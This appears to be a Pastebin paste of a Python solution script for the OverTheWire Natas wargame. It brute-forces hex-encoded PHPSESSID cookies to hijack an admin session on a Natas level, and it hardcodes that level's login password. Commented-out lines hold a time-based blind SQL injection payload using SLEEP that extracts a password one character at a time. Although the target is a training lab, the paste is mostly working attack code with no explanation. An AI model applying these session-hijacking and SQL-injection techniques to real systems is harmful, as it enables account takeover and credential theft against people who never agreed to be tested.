Advertisement
Guest User

Untitled

a guest
Feb 5th, 2019
221
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.49 KB | None | 0 0
  1. #!/usr/bin/python3
  2.  
  3. import requests, string, time, binascii
  4.  
  5. session = requests.Session()
  6.  
  7. username = 'natas20'
  8. password = 'eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF'
  9. url = 'http://{}.natas.labs.overthewire.org/index.php?debug=true'.format(username)
  10.  
  11. i = 337
  12. s = str(337)+'-'
  13.  
  14. #cookie = {
  15. #   'name':'PHPSESSID',
  16. #    'value': str(binascii.b2a_hex(b'337-'))
  17. #}
  18. #print(str(binascii.b2a_hex(b'337-')))
  19. #res = session.post(url, data={"username": "", "password": "blabla"}, auth=(username, password))
  20. #print(res.text)
  21. for i in range(641):
  22.     token = str(binascii.b2a_hex(str('%d-admin' % i).encode())).strip("b'")
  23.     print('Trying with token {}'.format(token))
  24.     res = session.post(url, cookies={'PHPSESSID': token}, data={"username": "admin", "password": "blabla"}, auth=(username, password))
  25.     if 'regular' not in res.text:
  26.         print(res.text)
  27.  
  28. # res = requests.get(url, auth=(username, password))
  29.  
  30. #curr_pw = ''
  31.  
  32. #while(True):
  33. #   start = time.time()
  34. #   res = requests.post(url, data={"username": "natas18\" AND password LIKE BINARY \"%\" AND SLEEP(0.2);#"}, auth=(username, password))
  35. #   print('{:.2f}s'.format(time.time()-start))
  36.  
  37. #while len(curr_pw) < len(password):
  38. #   for char in string.ascii_letters + string.digits:
  39. #       tmp_pw = curr_pw + char
  40. #       start = time.time()
  41. #       res = requests.post(url, data={"username": "natas18\" AND password LIKE BINARY \"{}%\" AND SLEEP(8);#".format(tmp_pw)}, auth=(username, password))
  42. #       if (time.time()-start) >= 8:
  43. #           curr_pw = tmp_pw
  44. #           break
  45. #   print(curr_pw)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement